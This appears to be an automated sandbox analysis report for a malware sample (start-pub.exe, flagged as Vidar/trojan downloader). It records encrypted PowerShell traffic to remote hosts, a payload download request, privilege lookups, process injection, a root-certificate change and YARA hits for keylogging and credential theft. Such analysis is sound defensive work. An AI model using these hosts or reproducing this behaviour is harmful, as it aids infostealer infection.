Data received	°U^MÍVRàïüGuTxÔÚ ÉÓ´1óçnzv]»s ,]ºÛíRªt9%³5s; ¥½©©äÂÝØ'!3¥\|\|Ñ¸o¹ÅRnÒáÖ8F°×E»n7'÷e²Ò:Á¡§\|wu sJ¿ñEat ýÊréxDIb¶3Áâª\|²àîïËZúïiÖä¥¯ôQòP¦\ÝáAç 9}Ö+á<\ÒXæÓ¤.U²-õÓbrÛ}BáÎÞ5YAU' íZqLÚé)¿2f¬?àúQ1æPæ¹},!MQÉH£U2-i8ÈrÏOPjÂK[ïêÙÆ¶ó¡g-·z\"Ð¹÷þh(&qÕüF,·I5%<:ö-Ú2»°B$BQ=üTÈêÙ\nhí7?¤õNRc6±<ú·ÈÍ¯çàJÿÄ'NfóÇo28´úÍÁÂS ÕõXHX `xÂjà0Ø/ \|$ÊBÜ¹L¹· Âe<Ú Îî@îIC#}X]ÃUIð3ã\|K¼ª(ñ£üÌjLg´?ÃËÜgÚ¼³S#{ì3ª_í¢ï¼§SO@áÈH©R«eY, ºjV¤uÚoþÄ#TaåÃ7÷¯F{¯¨¿{³°^&fsøºúêÊ ÈJ(C1£\|DÌBËdÑ»\|Ô;µ±VÊ=µQam/s0Üx¿#ì¿ËßZÜÒ5«eÔ,´Kæ¼F.¼ýT»p\O@êpæ¯Ëê£!ÖoÔ4"M·£Jç·_}±!L¸Zj¨Ûg¤_Î°>ôÃsùplu÷Ï¡ÈIâæïÃ¾3YôWY[ùÔ ZV84Ô½î;UÄ\|~.ûc´Ï¶Þ×Ïú5·7o@ ®Ù ù²-ÃuãÁÚ HY÷Ï¿ÂÿÑ?Ë§=t¸ÐK©¬(Î#(ÛºÍÜÓmJßÖõ-©¤ÔG½7yXXÿ&á¦ãÿÖ"kØÉsØUÚäÝlt aº%"¬í³_»6e ºÜÅBþ{dN I+ØÜf Â14½ÔB£ð0¨ët¤¬¨ ú!¬u²Â`ÆN´Õ Ñ¨8Am÷þ_1?¦GJÞ<§Æ9ÀÒ(º®luñ`7bUaã{¥,ôÄ`c#,!Ñ;×}¢û Ú-¶tã~jÛ´£Ô=ÞÄÞ÷4P`2)ÿð9"ê\|"rhv~¡ÌwBÛ+px£¦MD¶v"óÆN/ë{Õµ°kú-Lº_W¾u<¬ãOA& ¢8Òdbåz¡ÏèNzÁsÚík¨ÎåØvL Ï)ñjÝDÞhR_;²ycjÚÏXµÇ'cîîáÀöÑÈË£ß#9>8íÐö{%¶k3fH9/{®£V¹"OPÛV?îfip¥Ë`]+Ç_%Â<ùW°ri5ª" wÉ?Û8·pÆ@4!t©ì vHçg^¬Òa"Çðc§$!ÈUÕ®¼Ñ2°ç×/qjÏù^.#[ª%ùO\þð¢ó@ingO[âÇÆ\|I1¸m&óñð¬ªô±ÁÈH}<ïøë&o7&ªäÁ÷jó=!ÈûOSGÎ

Poweshell is sending data to a remote host (13 events)

Data sent	\|fJ¥ó Í,ÞÜ \ÐÂ}t²Ü©{öò/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net
Data sent	FBAóªÛÏÆ«EeåX\$Æ3g2å.+-_ös éª,NiÏQ'ú(-Þ 2KÙöfÎ/¶BÈ%#0ÅÛ²[üBý!gÆ¯3"ÿ®Üë8þ:ó¥s(È´GöRª³Oé2»cÛ
Data sent	kYÛ£!r}é\|XBÚº¶D®SK+»=±CGëÙ®5Þ«¥Î%)ÆÓé¶Ujç4h&¤<llY2Õ"Teü ìÆ$gá«PArÑ 2v¤ë~FÈ\|uöÛA»${WHç·1l5r¢WO_Æ¢1÷±
Data sent	\|fJ¥ô³@ bÈ^÷ CÊÛeávK-©Ð8ô/wVq/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net
Data sent	FBAÖÛDmQàgyýbßÁ¹óX_ÁÖ Tåø> ´PAùL2£KÉxÂÃÕáÏé I5-NKåáâ0Eµ !ò3*ñ8ì_â¬z`eç+õÝXµÔà§ºJá¦ûGØËÊNäÈ Ò;}
Data sent	\8c9By/ñ²(ï<2¶9ÝÕÃó: .úÛÐÆæ4Ù¤jëHÙAl¾Jû¿yyÄ¬B ºàÌÉNsjàBüðwÀå[¨ñg62¿äùË$Úò)gLþ#q§¥¨GèD÷Â Û l{«Lª¼+ýÚà
Data sent	tpfJ¥õTX9-öHí5Û¾¶:<Åûb &¸Zb;/5 ÀÀÀ À 28/ÿcdn-edge-node.com
Data sent	FBAþ1_Ûö¨?¥)phª©+¤{u8?ÁÔÈÿXûF}s]øHÄ5Òé2÷àæn E&é!]Hï;©ôDÂ?áA0Â/§I±¸VÁ8P#Ò¶Æ'ªdë×÷b[¦Ø3Þl)¨(þÎû3ÝË³ïWÀS
Data sent	pÜØ ¢3èH,I!ËûW§{í¼¶:Ç5 bfvÒðç; ûÝoÂìR<¼èè<ò<Ë ]YÈ¸;îR¥oÛúlì<Î»%süôê?®qìö©\|r =<ò÷@ãýãÆk´8Û
Data sent	\|fJ¥øe×cóo3u±yR ß¨kP´.ï3âÌÒ/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net
Data sent	FBAS§MÂ½aPûjkí\WKEíI#åÌï!qÿKGú£¥°Qp]}flÉBÔõW ÀùÅNu@0åì-³Z ¤ÿ¬¹Î6Ø` ~Ê6yA°6r~8mH¤A8*r½)¯«'
Data sent	°Ûe,ðLéºÕÁ2ø{Ê9ûBýë°M_túôYqó@úèOÑùÎKìÐMCÃñ#µ3yaèGÃÊlúúãÓ¸F¸Þ_Û^Í#/è\|<¥ÕMïl¾'%7ÖC`&ikÞÔYÆgav©X÷àã°h>ºÝ.¨çûfÜna¤Öþ(6~Á0úìb;ýð¤º¬t®äÎÙÖ]-OkìQ
Data sent	GET /f/fvgbm0428902.txt HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: 240429000936002.mjt.kqri92.top Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW May 20, 2024, 10:22 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 20, 2024, 10:23 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 20, 2024, 10:23 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (31 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win

Deletes executed files from disk (2 events)

file	C:\Users\test22\AppData\Local\Temp\nsvBEA8.tmp\brn.bat
file	C:\Users\test22\AppData\Local\Temp\nsvBEA8.tmp

File has been identified by 17 AntiVirus engines on VirusTotal as malicious (17 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Vidar.4!c
Elastic	malicious (high confidence)
Cylance	unsafe
VirIT	Trojan.Win32.Genus.VIN
APEX	Malicious
Avast	NSIS:PWSX-gen [Trj]
Kaspersky	HEUR:Trojan.Win32.Agent.gen
Trapmine	malicious.moderate.ml.score
Antiy-AVL	Trojan/Win32.Agent.gen
Kingsoft	malware.kb.a.881
Microsoft	Trojan:Win32/Phonzy.C!ml
ZoneAlarm	HEUR:Trojan.Win32.Agent.gen
DeepInstinct	MALICIOUS
VBA32	suspected of Trojan.Downloader.gen
SentinelOne	Static AI - Suspicious PE
AVG	NSIS:PWSX-gen [Trj]

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (13 events)

Time & API	Arguments	Status	Return
send May 20, 2024, 10:22 a.m.	buffer: \|fJ¥ó Í,ÞÜ \ÐÂ}t²Ü©{öò/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net socket: 1420 sent: 133	1	133
send May 20, 2024, 10:22 a.m.	buffer: FBAóªÛÏÆ«EeåX\$Æ3g2å.+-_ös éª,NiÏQ'ú(-Þ 2KÙöfÎ/¶BÈ%#0ÅÛ²[üBý!gÆ¯3"ÿ®Üë8þ:ó¥s(È´GöRª³Oé2»cÛ socket: 1420 sent: 134	1	134
send May 20, 2024, 10:22 a.m.	buffer: kYÛ£!r}é\|XBÚº¶D®SK+»=±CGëÙ®5Þ«¥Î%)ÆÓé¶Ujç4h&¤<llY2Õ"Teü ìÆ$gá«PArÑ 2v¤ë~FÈ\|uöÛA»${WHç·1l5r¢WO_Æ¢1÷± socket: 1420 sent: 133	1	133
send May 20, 2024, 10:23 a.m.	buffer: \|fJ¥ô³@ bÈ^÷ CÊÛeávK-©Ð8ô/wVq/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net socket: 1396 sent: 133	1	133
send May 20, 2024, 10:23 a.m.	buffer: FBAÖÛDmQàgyýbßÁ¹óX_ÁÖ Tåø> ´PAùL2£KÉxÂÃÕáÏé I5-NKåáâ0Eµ !ò3*ñ8ì_â¬z`eç+õÝXµÔà§ºJá¦ûGØËÊNäÈ Ò;} socket: 1396 sent: 134	1	134
send May 20, 2024, 10:23 a.m.	buffer: \8c9By/ñ²(ï<2¶9ÝÕÃó: .úÛÐÆæ4Ù¤jëHÙAl¾Jû¿yyÄ¬B ºàÌÉNsjàBüðwÀå[¨ñg62¿äùË$Úò)gLþ#q§¥¨GèD÷Â Û l{«Lª¼+ýÚà socket: 1396 sent: 133	1	133
send May 20, 2024, 10:23 a.m.	buffer: tpfJ¥õTX9-öHí5Û¾¶:<Åûb &¸Zb;/5 ÀÀÀ À 28/ÿcdn-edge-node.com socket: 1936 sent: 121	1	121
send May 20, 2024, 10:23 a.m.	buffer: FBAþ1_Ûö¨?¥)phª©+¤{u8?ÁÔÈÿXûF}s]øHÄ5Òé2÷àæn E&é!]Hï;©ôDÂ?áA0Â/§I±¸VÁ8P#Ò¶Æ'ªdë×÷b[¦Ø3Þl)¨(þÎû3ÝË³ïWÀS socket: 1936 sent: 134	1	134
send May 20, 2024, 10:23 a.m.	buffer: pÜØ ¢3èH,I!ËûW§{í¼¶:Ç5 bfvÒðç; ûÝoÂìR<¼èè<ò<Ë ]YÈ¸;îR¥oÛúlì<Î»%süôê?®qìö©\|r =<ò÷@ãýãÆk´8Û socket: 1936 sent: 117	1	117
send May 20, 2024, 10:23 a.m.	buffer: \|fJ¥øe×cóo3u±yR ß¨kP´.ï3âÌÒ/5 ÀÀÀ À 28;ÿ" d22hce23hy1ej9.cloudfront.net socket: 1424 sent: 133	1	133
send May 20, 2024, 10:23 a.m.	buffer: FBAS§MÂ½aPûjkí\WKEíI#åÌï!qÿKGú£¥°Qp]}flÉBÔõW ÀùÅNu@0åì-³Z ¤ÿ¬¹Î6Ø` ~Ê6yA°6r~8mH¤A8*r½)¯«' socket: 1424 sent: 134	1	134
send May 20, 2024, 10:23 a.m.	buffer: °Ûe,ðLéºÕÁ2ø{Ê9ûBýë°M_túôYqó@úèOÑùÎKìÐMCÃñ#µ3yaèGÃÊlúúãÓ¸F¸Þ_Û^Í#/è\|<¥ÕMïl¾'%7ÖC`&ikÞÔYÆgav©X÷àã°h>ºÝ.¨çûfÜna¤Öþ(6~Á0úìb;ýð¤º¬t®äÎÙÖ]-OkìQ socket: 1424 sent: 181	1	181
send May 20, 2024, 10:23 a.m.	buffer: GET /f/fvgbm0428902.txt HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: 240429000936002.mjt.kqri92.top Connection: Keep-Alive socket: 1936 sent: 134	1	134

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2120 resumed a thread in remote process 2444
NtResumeThread May 20, 2024, 10:23 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2444	1	0	0

Creates a suspicious Powershell process (3 events)

value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line

The process powershell.exe wrote an executable file to disk (1 event)

file	C:\Users\test22\AppData\Local\Temp\i0.exe

start-pub.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All